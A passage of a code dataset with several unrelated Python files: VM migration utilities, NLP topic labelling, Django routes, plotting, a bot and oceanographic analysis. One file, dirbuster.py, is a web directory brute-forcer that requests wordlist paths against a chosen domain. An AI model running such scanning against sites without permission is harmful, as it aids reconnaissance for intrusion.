ls_boot_lines\n if line.startswith(\"initramfs-\") and line.endswith(\".img\") and \"dump\" not in line\n ]\n for filename in initram_lines:\n kernel_version = filename.replace(\"initramfs-\", \"\").replace(\".img\", \"\")\n debug(\"Running lsinitrd to check for virtio drivers\")\n lsinitrd = self.chroot_run(f\"lsinitrd /boot/{filename}\")\n virtio_line = next((line for line in lsinitrd if \"virtio\" in line.lower()), None)\n if virtio_line is not None:\n print(f\"{filename} already has virtio drivers\")\n if force:\n print(\"force=true, reinstalling\")\n else:\n continue\n print(f\"Adding virtio drivers to {filename}\")\n drivers = \"virtio_blk virtio_net virtio_scsi virtio_balloon\"\n cmd = f'dracut --add-drivers \"{drivers}\" -f /boot/{filename} {kernel_version}'\n # Python+chroot causes dracut space delimiter to break - use a script file\n script_file = f\"{self.ROOT_MOUNT}/virtio.sh\"\n debug(f\"writing script file: {script_file}\")\n debug(f\"script file contents: {cmd}\")\n set_file_contents(script_file, cmd)\n self.chroot_run(\"bash /virtio.sh\")\n debug(f\"deleting script file: {script_file}\")\n os.remove(script_file)\n self.debug_action(end=True)\n\n def uninstall(self, package, like=False):\n \"\"\" Uninstall packages from the given system \"\"\"\n if not like:\n print(f\"Uninstalling: {package}\")\n self.chroot_run(f\"rpm -e {package}\")\n return\n rpm_lines = self.chroot_run(\"rpm -qa\")\n rpms = [line for line in rpm_lines if package in line]\n if not rpms:\n print(f'No packages were found matching \"{package}\"')\n return\n for rpm in rpms:\n print(f\"Uninstalling: {rpm}\")\n self.chroot_run(f\"rpm -e {rpm}\")\n\n def set_interface(\n self,\n interface_name,\n is_dhcp,\n mac_addr,\n ip_addr=None,\n prefix=None,\n gateway=None,\n dns=(),\n domain=None,\n ):\n \"\"\" Deploy a RHEL styled interface file \"\"\"\n # create the /etc/sysconfig/network-scripts file\n bootproto = \"dhcp\" if is_dhcp else \"static\"\n iface_lines = [\n f\"DEVICE={interface_name}\",\n f\"BOOTPROTO={bootproto}\",\n \"ONBOOT=yes\",\n \"USERCTL=no\",\n f\"HWARDDR={mac_addr}\",\n ]\n if not is_dhcp:\n iface_lines.append(f\"IPADDR={ip_addr}\")\n iface_lines.append(f\"PREFIX={prefix}\")\n if gateway is not None:\n iface_lines.append(\"DEFROUTE=yes\")\n iface_lines.append(f\"GATEWAY={gateway}\")\n for index, domain_server in enumerate(dns):\n num = index + 1\n iface_lines.append(f\"DNS{num}={domain_server}\")\n if domain is not None:\n iface_lines.append(f\"DOMAIN={domain}\")\n iface_contents = \"\\n\".join(iface_lines)\n iface_path = f\"{self.ROOT_MOUNT}/etc/sysconfig/network-scripts/ifcfg-{interface_name}\"\n print(f\"Creating interface file at {iface_path}:\")\n print(iface_contents)\n set_file_contents(iface_path, iface_contents)\n","repo_name":"evan-narayan/voithos","sub_path":"voithos/lib/migrate/rhel.py","file_name":"rhel.py","file_ext":"py","file_size_in_byte":4411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"2544245712","text":"\"\"\"\nAuthor: Shraey Bhatia\nDate: October 2016\nFile: candidate_gen.py\n\nUpdated by: Sihwa Park\nDate: January 7, 2019\nFix: Updated to work with Gensim 3.6.0 and Python 3.6.5\n\nThis file generates label candidates and save the output in a file. It uses both\ndoc2vec and word2vec models and normalise them to unit vector. There are a couple of\npickle files namely doc2vec_indices and word2vec_indices which restrict the search of\nword2vec and doc2vec labels. These pickle files are in support_files.\n\"\"\"\nimport os\nimport pandas as pd\nfrom gensim.models.doc2vec import Doc2Vec\nfrom gensim.models import Word2Vec\nimport time\nimport sys\nfrom math import ceil\nfrom numpy import exp, log, dot, zeros, outer, random, dtype, float32 as REAL,\\\n double, uint32, seterr, array, uint8, vstack, fromstring, sqrt, newaxis,\\\n ndarray, empty, sum, prod, ones, ascontiguousarray\nfrom gensim import utils, matutils\nimport re\nimport pickle\nimport multiprocessing as mp\nfrom multiprocessing import Pool\nimport argparse\n\n\n\"\"\"\nPickle file needed to run the code. These file have the indices of doc2vec which \nhave length of label(wiki title less than 5). The word2vec file has indices of the\nfile which were used in to create phrases in word2vec model. The indices are taken from \ntrained doc2vec and word2vec models. Additionally there is some bit of preprocessing involved \nof removing brackets from some candidate labels. To get more insight into it refer to the paper.\n\"\"\"\n\n# Arguments\nparser = argparse.ArgumentParser()\nparser.add_argument(\"num_cand_labels\")\nparser.add_argument(\"doc2vecmodel\")\nparser.add_argument(\"word2vecmodel\")\nparser.add_argument(\"data\")\nparser.add_argument(\"outputfile_candidates\")\nparser.add_argument(\"doc2vec_indices\")\nparser.add_argument(\"word2vec_indices\")\nargs = parser.parse_args()\n\nwith open(args.doc2vec_indices, 'rb') as m:\n d_indices = pickle.load(m)\nwith open(args.word2vec_indices, 'rb') as n:\n w_indices = pickle.load(n)\n\n# Models loaded\nst_time = time.time()\nmodel1 = Doc2Vec.load(args.doc2vecmodel)\nmodel2 = Word2Vec.load(args.word2vecmodel)\nprint(\"models loaded in %s\" % (time.time() - st_time)) # 40 seconds, but no problem since will be in memory\n\n# Loading the data file\ntopics = pd.read_csv(args.data)\ntry:\n new_frame = topics.drop('domain', 1)\n topic_list = new_frame.set_index('topic_id').T.to_dict('list')\nexcept:\n topic_list = topics.set_index('topic_id').T.to_dict('list')\n\nw_indices = list(set(w_indices))\nd_indices = list(set(d_indices))\n\n # with open(\"../../NETL-Automatic-Topic-Labelling/model_run/pre_trained_models/doc2vec/vec\", \"wb\") as f:\n# syn0norm = (model1.wv.vectors / sqrt((model1.wv.vectors ** 2).sum(-1))[..., newaxis]).astype(REAL)\n# vectors_docs_norm = (model1.docvecs.vectors_docs / sqrt((model1.docvecs.vectors_docs ** 2).sum(-1))[..., newaxis]).astype(REAL)[d_indices]\n# pickle.dump({'syn0norm': syn0norm, 'vectors_docs_norm': vectors_docs_norm}, f, protocol=4)\n# st_time = time.time()\n\nwith open(\"../../NETL-Automatic-Topic-Labelling/model_run/pre_trained_models/doc2vec/vec\", \"rb\") as f:\n res = pickle.load(f)\n # Models normalised in unit vector from the indices given above in pickle files.\n model1.syn0norm = res['syn0norm']\n model1.docvecs.vectors_docs_norm = res['vectors_docs_norm']\n print(\"doc2vec normalized in %s\" % (time.time() - st_time)) # 85 seconds\n\nst_time = time.time()\n# with open(\"../../NETL-Automatic-Topic-Labelling/model_run/pre_trained_models/word2vec/vec\", \"wb\") as f:\n# syn0norm = (model2.wv.vectors / sqrt((model2.wv.vectors ** 2).sum(-1))[..., newaxis]).astype(REAL)\n# pickle.dump({'syn0norm': syn0norm}, f, protocol=4)\n\nwith open(\"../../NETL-Automatic-Topic-Labelling/model_run/pre_trained_models/word2vec/vec\", \"rb\") as f:\n res = pickle.load(f)\n model2.syn0norm = res['syn0norm']\n model3 = model2.syn0norm[w_indices]\n print(\"word2vec normalized in %s\" % (time.time() - st_time), end=\"\\n\\n\") # 5 seconds\n\n\n# This method is mainly used to remove brackets from the candidate labels.\ndef get_word(word):\n if type(word) != str:\n return word\n inst = re.search(r\"_\\(([A-Za-z0-9_]+)\\)\", word)\n if inst is None:\n return word\n else:\n word = re.sub(r'_\\(.+\\)', '', word)\n return word\n\n\n# generate labels topic by topic\ndef get_labels(topic_num):\n valdoc2vec = 0.0\n valword2vec = 0.0\n cnt = 0\n store_indices = []\n\n print(\"Processing Topic number \" + str(topic_num))\n\n for item in topic_list[topic_num]:\n try:\n # The word2vec value of topic word from doc2vec trained model\n tempdoc2vec = model1.syn0norm[model1.wv.vocab[item].index]\n except:\n pass\n else:\n meandoc2vec = matutils.unitvec(tempdoc2vec).astype(\n REAL) # Getting the unit vector\n # The dot product of all labels in doc2vec with the unit vector of topic word\n distsdoc2vec = dot(model1.docvecs.vectors_docs_norm, meandoc2vec)\n valdoc2vec = valdoc2vec + distsdoc2vec\n\n try:\n # The word2vec value of topic word from word2vec trained model\n tempword2vec = model2.syn0norm[model2.wv.vocab[item].index]\n except:\n pass\n else:\n meanword2vec = matutils.unitvec(\n tempword2vec).astype(REAL) # Unit vector\n\n # The dot prodiuct of all possible labels in word2vec vocab with the unit vector of topic word\n distsword2vec = dot(model3, meanword2vec)\n\n \"\"\"\n This next section of code checks if the topic word is also a potential label in trained word2vec model. If that is the case, it is\n important the dot product of label with that topic word is not taken into account.Hence we make that zero and further down the code\n also exclude it in taking average of that label over all topic words.\n\n \"\"\"\n\n if model2.wv.vocab[item].index in w_indices:\n\n i_val = w_indices.index(model2.wv.vocab[item].index)\n store_indices.append(i_val)\n distsword2vec[i_val] = 0.0\n valword2vec = valword2vec + distsword2vec\n\n print(\"Topic \" + str(topic_num) + \" (Progress 1/10): item iteration done\")\n\n # Give the average vector over all topic words\n avgdoc2vec = valdoc2vec / float(len(topic_list[topic_num]))\n # Average of word2vec vector over all topic words\n avgword2vec = valword2vec / float(len(topic_list[topic_num]))\n\n print(\"Topic \" + str(topic_num) + \" (Progress 2/10): average vector done\")\n\n # argsort and get top 100 doc2vec label indices\n bestdoc2vec = matutils.argsort(avgdoc2vec, topn=100, reverse=True)\n resultdoc2vec = []\n # Get the doc2vec labels from indices\n for elem in bestdoc2vec:\n ind = d_indices[elem]\n temp = model1.docvecs.index_to_doctag(ind)\n resultdoc2vec.append((temp, float(avgdoc2vec[elem])))\n\n print(\"Topic \" + str(topic_num) + \" (Progress 3/10): getting the doc2vec labels done\")\n\n # This modifies the average word2vec vector for cases in which the word2vec label was same as topic word.\n for element in store_indices:\n avgword2vec[element] = (\n avgword2vec[element] * len(topic_list[topic_num])) / (float(len(topic_list[topic_num]) - 1))\n\n print(\"Topic \" + str(topic_num) + \" (Progress 4/10): modifying the average word2vec vector done\")\n\n # argsort and get top 100 word2vec label indices\n bestword2vec = matutils.argsort(avgword2vec, topn=100, reverse=True)\n # Get the word2vec labels from indices\n resultword2vec = []\n for element in bestword2vec:\n ind = w_indices[element]\n temp = model2.wv.index2word[ind]\n resultword2vec.append((temp, float(avgword2vec[element])))\n\n print(\"Topic \" + str(topic_num) + \" (Progress 5/10): getting the word2vec labels from indices done\")\n\n # Get the combined set of both doc2vec labels and word2vec labels\n comb_labels = list(\n set([i[0] for i in resultdoc2vec] + [i[0] for i in resultword2vec]))\n\n newlist_doc2vec = []\n newlist_word2vec = []\n print(\"Topic \" + str(topic_num) + \" (Progress 6/10): getting the combined set of both doc2vec labels and word2vec labels done\")\n # todo improve here\n start_time = time.time()\n # Get indices from combined labels\n print(len(comb_labels))\n for elem in comb_labels: # max length 200\n try:\n\n newlist_doc2vec.append(d_indices.index(\n model1.docvecs.doctags[elem].offset))\n temp = get_word(elem)\n newlist_word2vec.append(w_indices.index(model2.wv.vocab[temp].index))\n\n except:\n pass\n print(\"seconds normal %s\" % (time.time() - start_time))\n\n newlist_doc2vec = list(set(newlist_doc2vec))\n newlist_word2vec = list(set(newlist_word2vec))\n\n print(\"Topic \" + str(topic_num) + \" (Progress 7/10): getting indices from combined labels done\")\n\n # Finally again get the labels from indices. We searched for the score from both doctvec and word2vec models\n resultlist_doc2vecnew = [(model1.docvecs.index_to_doctag(\n d_indices[elem]), float(avgdoc2vec[elem])) for elem in newlist_doc2vec]\n resultlist_word2vecnew = [(model2.wv.index2word[w_indices[elem]], float(\n avgword2vec[elem])) for elem in newlist_word2vec]\n\n print(\"Topic \" + str(topic_num) + \" (Progress 8/10): again getting the labels from indices done\")\n\n # Finally get the combined score with the label. The label used will be of doc2vec not of word2vec.\n new_score = []\n for item in resultlist_word2vecnew:\n k, v = item\n for elem in resultlist_doc2vecnew:\n k2, v2 = elem\n k3 = get_word(k2)\n if k == k3:\n v3 = v + v2\n new_score.append((k2, v3))\n\n print(\"Topic \" + str(topic_num) + \" (Progress 9/10): getting the combined score with the label done\")\n\n new_score = sorted(new_score, key=lambda x: x[1], reverse=True)\n\n print(\"Topic \" + str(topic_num) + \" (Progress 10/10): sorting score done\")\n return new_score[:(int(args.num_cand_labels))]\n\n\ndef test(input_value):\n start = input_value['start']\n step = input_value['step']\n comb_labels = input_value['comb_labels']\n newlist_doc2vec = []\n newlist_word2vec = []\n for x in range(start, start+step):\n try:\n\n newlist_doc2vec.append(d_indices.index(\n model1.docvecs.doctags[comb_labels[x]].offset))\n temp = get_word(comb_labels[x])\n newlist_word2vec.append(w_indices.index(model2.wv.vocab[temp].index))\n\n except:\n pass\n return newlist_doc2vec, newlist_word2vec\n\n\n\n# pool = mp.Pool(processes=2)\n# result = pool.map(get_labels, range(0, len(topic_list)))\n# fix to avoid out of memory\nresult = []\nfor i in range(0, len(topic_list)):\n result.append(get_labels(i))\n\n# todo improve: modify get_labels until terminate before 6\n# make 6 point as seperate method, and also the code after that\n# call these 3 methods and parallelize second one\n\n# if __name__ == '__main__':\n#\n# result = []\n# for i in range(0, len(topic_list)):\n# comb_labels, avgdoc2vec, avgword2vec = first_part(i)\n# # second part\n# start_time = time.time()\n# len_arr = len(comb_labels)\n# newlist_doc2vec = []\n# newlist_word2vec = []\n# step = ceil(len_arr / 2)\n# start_arr = []\n# for x in range(0, len(comb_labels), step)[:-1]:\n# start_arr.append({'start': x, 'step': step, 'comb_labels': comb_labels})\n# else:\n# start_arr.append({'start': len(comb_labels) - (len(comb_labels) % step), 'step': len(comb_labels) % step,\n# 'comb_labels': comb_labels})\n# p = Pool(2)\n# tmp_doc, tmp_word = p.map(test, start_arr)\n# # join list of list into a single list\n# for el in tmp_doc:\n# newlist_doc2vec += el\n# for el in tmp_word:\n# newlist_word2vec += el\n# print(\" para version %s\" %(time.time()-start_time))\n# result.append(lastpart(i, newlist_word2vec, newlist_doc2vec, avgdoc2vec, avgword2vec))\n\n# The output file for candidates.\ng = open(args.outputfile_candidates, 'w')\nfor i, elem in enumerate(result):\n val = \"\"\n for item in elem: # todo add number of topic when writing to file\n val = val + \" \" + item[0]\n g.write(val + \"\\n\")\ng.close()\n\nprint(\"Candidate labels written to \" + args.outputfile_candidates)\nprint(\"\\n\")\n","repo_name":"epfl-ada/ada-2022-project-outliers","sub_path":"topic-labelling/NETL-Automatic-Topic-Labelling/model_run/cand_generation.py","file_name":"cand_generation.py","file_ext":"py","file_size_in_byte":12586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74595261207","text":"\"\"\"auto_shop URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom atexit import register\nfrom django.conf import settings\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.conf.urls.static import static\nfrom apps.cars.views import *\nfrom apps.profile1.views import *\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', index, name='home'),\n path('filter_auto', FilterAuto.as_view(), name='filter_auto'),\n path('filter_auto_index', FilterAutoIndex.as_view(), name='filter_auto_index'),\n path('single_page:', single, name='single_page'),\n path('register/', RegisterUser.as_view(), name='register'),\n path('login/', LoginUser.as_view(), name='login'),\n path('logout/', logout_user, name='logout'),\n\n\n path('profile:', Ubd_user.as_view(), name='profile'),\n path('favorites', favorites, name='favorites'),\n path('listing', listing, name='listing'),\n path('listings', listings, name='listings'),\n path('addauto', listing, name='addauto'),\n path('messages', messages, name='messages'),\n path('dashboard', dashboard, name='dashboard'),\n path('delete:', delete, name='delete'),\n path('delete_like:', delete_like, name='delete_like'),\n path('Ubd_post:', Ubd_post.as_view(), name='Ubd_post'),\n\n\n path('filter', AutoAll.as_view(), name='filter'),\n path('chat:', chat, name='chat'),\n\n path('category_list/', category_list, name='category_list'),\n path('make_list/', make_list, name='make_list'),\n path('otvetyview///', otvetyview, name='otvetyview'),\n\n\n]\n\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","repo_name":"Mammonth02/project","sub_path":"auto_shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2032903527","text":"#显示立方值的散点图\nimport matplotlib.pyplot as plt\nx_values = list(range(1,5001))\ny_values = [x**3 for x in x_values]\n\n#设置散点图的属性\nplt.title(\"Cube Numbers\",fontsize=24)\nplt.xlabel(\"Value\",fontsize=14)\nplt.ylabel(\"Cube of Value\",fontsize=14)\n#绘制散点图\nplt.scatter(x_values,y_values,c=y_values,cmap=plt.cm.cool,edgecolor='none',s=20)\n#设置坐标刻度\nplt.tick_params(axis='both',which='major',labelsize='10')\n#设置坐标范围\nplt.axis([0,5000,0,125000000000])\nplt.show()","repo_name":"wanqiangliu/python","sub_path":"matplotlib/15-1.py","file_name":"15-1.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41556024599","text":"import requests\nimport os\nimport random\nimport string\n\nclass color:\n GREEN = '\\033[92m'\n STOP = '\\033[0m'\n RED='\\033[31m'\n BLUE='\\033[94m'\n BOLD = '\\033[93m'\n\ndef random_string_generator(str_size, allowed_chars):\n return ''.join(random.choice(allowed_chars) for x in range(str_size))\n\ndef buster():\n\tsite = input(color.BOLD + \"Domain Name: \" + color.STOP)\n\treport = False\n\trep = input(color.BOLD + \"Generate Report? (Y/n): \" + color.STOP)\n\tif rep == 'Y' or rep == 'y':\n\t\treport = True\n\tcorrect_write = list()\n\twith open(\"dir_list.txt\", 'r') as check_list:\n\t\tfor line in check_list:\n\t\t\turl = site + \"/\" + line.strip()\n\t\t\tresponse = requests.get(url, allow_redirects=False)\n\t\t\tif response.status_code != 404:\n\t\t\t\tprint(color.BLUE + \"Found /\" + str(line.strip()) + \"\" + color.STOP)\n\t\t\t\tcorrect_write.append(str(url))\n\t\t\n\t'''useragent = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\"}\n\twith open(\"dir_list.txt\", \"r\") as check_list:\n\t\tfor line in check_list:\n\t\t\ttry:\n\t\t\t\tsite_to_test = \"http://\" + site + line.replace('\\n', \"\")\n\t\t\t\tsite_request = requests.get(site_to_test, headers=useragent)\n\t\t\t\tif site_request.status_code == requests.codes.ok:\n\t\t\t\t\tcorrect_write.append(site_to_test + '\\n')\n\t\t\t\t\tprint(color.BLUE + line.replace('\\n', \"\") + \" -- Found!\" + color.STOP)\n\t\t\t\telse:\n\t\t\t\t\tpass\n\t\t\texcept:\n\t\t\t\tpass\n\t'''\n\tif report:\n\t\ttry:\n\t\t\turl = random_string_generator(12, string.ascii_letters)\n\t\t\twith open(\"Report/dribuster_\" + str(url) + \".txt\", 'w') as file:\n\t\t\t\tfor i in correct_write:\n\t\t\t\t\tfile.write(str(correct_write) + \"\\n\")\n\t\t\tprint(color.GREEN + \"[+] Report Generated Successfully at Report/dirbuster_\" + str(url) + \".txt .\" + color.STOP)\n\t\texcept:\n\t\t\tprint(color.RED + \"[-] Unable to Generate Report.\" + color.STOP)\n\n#buster()","repo_name":"samsepi0x0/ReconCrawler","sub_path":"Modules/dirbuster.py","file_name":"dirbuster.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"22574448477","text":"'''\nCreated on Aug 1, 2012\n\n@author: Lukasz Kreczko\n\nEmail: Lukasz.Kreczko@cern.ch\n'''\n\nimport FILES\nimport dps.utils.ROOTFileReader as FileReader\nfrom ROOT import gROOT\n\nfileTemplate = 'data/correctionFactors/correctionFactors_%s_%s_JSON.txt'\nsamples = [\n 'TTJet',\n 'POWHEG',\n 'PYTHIA6',\n 'MCatNLO',\n 'TTJets-matchingdown',\n 'TTJets-matchingup',\n 'TTJets-scaledown',\n 'TTJets-scaleup',\n ]\n\nmetbins = [\n '0-25',\n '25-45',\n '45-70',\n '70-100',\n '100-inf'\n ]\n\nmetTypes = ['PFMET', 'patType1CorrectedPFMet', 'patType1p2CorrectedPFMet' ]\nmetsystematics_sources = [\n \"patType1p2CorrectedPFMetElectronEnUp\",\n \"patType1p2CorrectedPFMetElectronEnDown\",\n \"patType1p2CorrectedPFMetMuonEnUp\",\n \"patType1p2CorrectedPFMetMuonEnDown\",\n \"patType1p2CorrectedPFMetTauEnUp\",\n \"patType1p2CorrectedPFMetTauEnDown\",\n \"patType1p2CorrectedPFMetJetResUp\",\n \"patType1p2CorrectedPFMetJetResDown\",\n \"patType1p2CorrectedPFMetJetEnUp\",\n \"patType1p2CorrectedPFMetJetEnDown\",\n \"patType1p2CorrectedPFMetUnclusteredEnUp\",\n \"patType1p2CorrectedPFMetUnclusteredEnDown\",\n \"patType1CorrectedPFMetElectronEnUp\",\n \"patType1CorrectedPFMetElectronEnDown\",\n \"patType1CorrectedPFMetMuonEnUp\",\n \"patType1CorrectedPFMetMuonEnDown\",\n \"patType1CorrectedPFMetTauEnUp\",\n \"patType1CorrectedPFMetTauEnDown\",\n \"patType1CorrectedPFMetJetResUp\",\n \"patType1CorrectedPFMetJetResDown\",\n \"patType1CorrectedPFMetJetEnUp\",\n \"patType1CorrectedPFMetJetEnDown\",\n \"patType1CorrectedPFMetUnclusteredEnUp\",\n \"patType1CorrectedPFMetUnclusteredEnDown\",\n \"patPFMetElectronEnUp\",\n \"patPFMetElectronEnDown\",\n \"patPFMetMuonEnUp\",\n \"patPFMetMuonEnDown\",\n \"patPFMetTauEnUp\",\n \"patPFMetTauEnDown\",\n \"patPFMetJetResUp\",\n \"patPFMetJetResDown\",\n \"patPFMetJetEnUp\",\n \"patPFMetJetEnDown\",\n \"patPFMetUnclusteredEnUp\",\n \"patPFMetUnclusteredEnDown\",\n ]\nmetTypes.extend(metsystematics_sources)\n\n\ndef getMETVariables(analysisType, sample, metType, bjetbin):\n base = 'TTbarPlusMetAnalysis/' + analysisType + '/Ref selection/BinnedMETAnalysis/'\n analyser = 'Electron_%s_bin_%s/electron_AbsEta_%s'\n if 'Mu' in analysisType:\n analyser = 'Muon_%s_bin_%s/muon_AbsEta_%s'\n correctionFactors = {}\n purities = {}\n stabilities = {}\n numberOfGenEvents = {}\n numberOfRecoEvents = {}\n for metbin in metbins:\n genMET = base + analyser % ('GenMET', metbin, bjetbin)\n PFMET = base + analyser % (metType, metbin, bjetbin)\n genMETs = FileReader.getHistogramFromFile(genMET, FILES.files[sample])\n PFMETs = FileReader.getHistogramFromFile(PFMET, FILES.files[sample])\n N_gen = genMETs.Integral()\n N_reco = PFMETs.Integral()\n purity = (N_gen + N_reco) / N_reco\n stability = (N_gen + N_reco) / N_gen\n correctionFactor = N_gen / N_reco\n \n correctionFactors[metbin] = correctionFactor\n purities[metbin] = purity\n stabilities[metbin] = stability\n numberOfGenEvents[metbin] = N_gen\n numberOfRecoEvents[metbin] = N_reco\n result = {\n 'correctionFactors': correctionFactors,\n 'purities': purities,\n 'stabilities': stabilities,\n 'numberOfGenEvents': numberOfGenEvents,\n 'numberOfRecoEvents':numberOfRecoEvents\n }\n return result\n\ndef saveToFile(correctionFactors, analysisType, bjetbin):\n stringForFile = ''\n fileName = fileTemplate % (analysisType, bjetbin)\n stringForFile += str(correctionFactors) + '\\n'\n import json\n stringForFile = json.dumps(correctionFactors, sort_keys=True, indent=4)\n outputFile = open(fileName, 'w')\n outputFile.write(stringForFile)\n outputFile.close()\n \n \nif __name__ == \"__main__\":\n from optparse import OptionParser\n gROOT.SetBatch(True)\n gROOT.ProcessLine('gErrorIgnoreLevel = 1001;')\n \n \n parser = OptionParser()\n parser.add_option(\"-b\", \"--bjetbin\", dest=\"bjetbin\", default='2m',\n help=\"set b-jet multiplicity for analysis. Options: exclusive: 0-3, inclusive (N or more): 0m, 1m, 2m, 3m, 4m\")\n parser.add_option(\"-a\", \"--analysisType\", dest=\"analysisType\", default='EPlusJets',\n help=\"set analysis type: EPlusJets or MuPlusJets\")\n parser.add_option(\"-t\", \"--test\",\n action=\"store_true\", dest=\"test\", default=False,\n help=\"Run test\")\n translateOptions = {\n '0':'0btag',\n '1':'1btag',\n '2':'2btags',\n '3':'3btags',\n '0m':'0orMoreBtag',\n '1m':'1orMoreBtag',\n '2m':'2orMoreBtags',\n '3m':'3orMoreBtags',\n '4m':'4orMoreBtags',\n }\n \n (options, args) = parser.parse_args()\n bjetbin = translateOptions[options.bjetbin]\n analysisType = options.analysisType\n# base = 'TTbarPlusMetAnalysis/' + analysisType + '/Ref selection/BinnedMETAnalysis/'\n \n# bjetbin = '2orMoreBtags'\n# bjetbins = ['0orMoreBtags', '1orMoreBtags', '2orMoreBtags']\n# metType = 'PFMET'\n \n correctionFactors = {}\n for sample in samples:\n correctionFactors[sample] = {}\n for metType in metTypes:\n variables = getMETVariables(analysisType, sample, metType, bjetbin)\n correctionFactors[sample][metType] = variables['correctionFactors']\n saveToFile(correctionFactors, analysisType, bjetbin)\n \n","repo_name":"BristolTopGroup/DailyPythonScripts","sub_path":"dps/legacy/purityAndStability_METbins_V0.py","file_name":"purityAndStability_METbins_V0.py","file_ext":"py","file_size_in_byte":5864,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"19661202603","text":"import logging, time\nimport os\nimport sys\nimport requests\nimport trackingmoreclass\nimport json\nfrom xml.etree import ElementTree as etree\nfrom mydb import mydb\ntracker = trackingmoreclass.track\n\n\ndef funcion_random_number():\n import random\n number = random.randint(0, 1000) \n return \"Numero aleatorio: {}\".format(number)\n \ndef funcion_get_perrete():\n contents = requests.get('https://random.dog/woof.json').json()\n url = contents['url'] \n return url\n\ndef funcion_contar_palabras(text):\n words_count = len(text.split())\n letters_count = len(''.join(text).replace(' ', ''))\n message = \"Tu mensaje contiene {words} palabras y {letters} letras\".format(\n words=words_count, letters=letters_count)\n return message\n\ndef funcion_track_mensajeria(text):\n urlStr = \"\"\n requestData = \"{\\\"tracking_number\\\":\\\" %s \\\"}\"%text[0]\n result = tracker.trackingmore(requestData, urlStr, \"carriers/detect\")\n salida = json.loads(result)\n return salida\n\ndef funcion_noticias(fuente='none'):\n \n dictUrls = {}\n bd = mydb()\n news = bd.query('SELECT * FROM bot.noticias')\n print(news)\n bd.close()\n\n\n\n for medio in news :\n dictUrls.update({medio[0]:medio[1]})\n \n\n \n if fuente == 'none': \n submenu=[]\n disponibles=dictUrls.keys()\n for medio in disponibles:\n submenu.append('/noticias %s\\n'%medio)\n return submenu\n\n else:\n salida = requests.get(dictUrls[fuente])\n reddit_root = etree.fromstring(salida.text)\n item = reddit_root.findall('channel/item')\n\n\n news_feed=[]\n for entry in item: \n #get description, url, and thumbnail\n desc = entry.findtext('title') \n link = entry.findtext('guid') \n \n news_feed.append('%s\\n%s'%(desc,link))\n return news_feed\n\n\n\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"quiquinho/bot","sub_path":"funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23294346108","text":"class Node:\r\n def __init__(self,data):\r\n self.data=data\r\n self.left=None\r\n self.right=None\r\n\r\ndef insert(node,data):\r\n if node is None:\r\n return Node(data)\r\n else:\r\n if data<=node.data:\r\n node.left=insert(node.left,data)\r\n else:\r\n node.right=insert(node.right,data)\r\n return node\r\n\r\ndef minvalue(node):\r\n temp=node\r\n while temp.left.left is not None:\r\n temp=temp.left\r\n return temp.data\r\nroot=None\r\nroot=insert(root,4)\r\ninsert(root,2)\r\ninsert(root,1)\r\ninsert(root,3)\r\ninsert(root,6)\r\ninsert(root,5)\r\n\r\nprint(\"Location of minimum value of this BST is left node of \",minvalue(root))\r\n","repo_name":"Harpreet1294/pythonprogramming","sub_path":"BST.py","file_name":"BST.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31297739190","text":"import numpy as np\nimport pandas as pd\nimport xarray as xr\nfrom datetime import datetime\n\n# Import the Thermodynamic Equation of Seawater 2010 (TEOS-10) from GSW\n# For converting from depth to pressure\nimport gsw\n\n# For custom analysis functions\nimport analysis_helper_functions as ahf\n\n################################################################################\n# Main execution\n################################################################################\n\ndfs0 = ahf.Data_Filters()\ndfs1 = ahf.Data_Filters(min_press=400)\n\nLHW_S_range = [34.366, 35.5]\npfs_fltrd = ahf.Profile_Filters(lon_range=[-152.9,-133.7], lat_range=[72.6,77.4], SA_range=LHW_S_range, lt_pCT_max=True)\npfs_fltrd_ss = ahf.Profile_Filters(lon_range=[-152.9,-133.7], lat_range=[72.6,77.4], SA_range=LHW_S_range, lt_pCT_max=True, subsample=True)\n\n## Reproducing figures from Timmermans et al. 2008\nITP2_clstr_dict = {#'netcdf_file':'netcdfs/ITP_2.nc',\n 'sources_dict':{'ITP_2':'all'},\n 'data_filters':dfs0,\n 'pfs_object':ahf.Profile_Filters(SP_range=[34.05,34.75]),\n 'cl_x_var':'SP',\n 'cl_y_var':'la_CT',\n 'm_pts':170\n }\n\n## Reproducing figures from Lu et al. 2022\nITP3_clstr_dict = {#'netcdf_file':'netcdfs/ITP_3.nc',\n 'sources_dict':{'ITP_3':'all'},\n 'data_filters':dfs0,\n 'SP_range':[34.21,34.82],\n 'cl_x_var':'SP',\n 'cl_y_var':'la_CT',\n 'm_pts':580\n }\n\n## AIDJEX BigBear\nABB_clstr_dict = 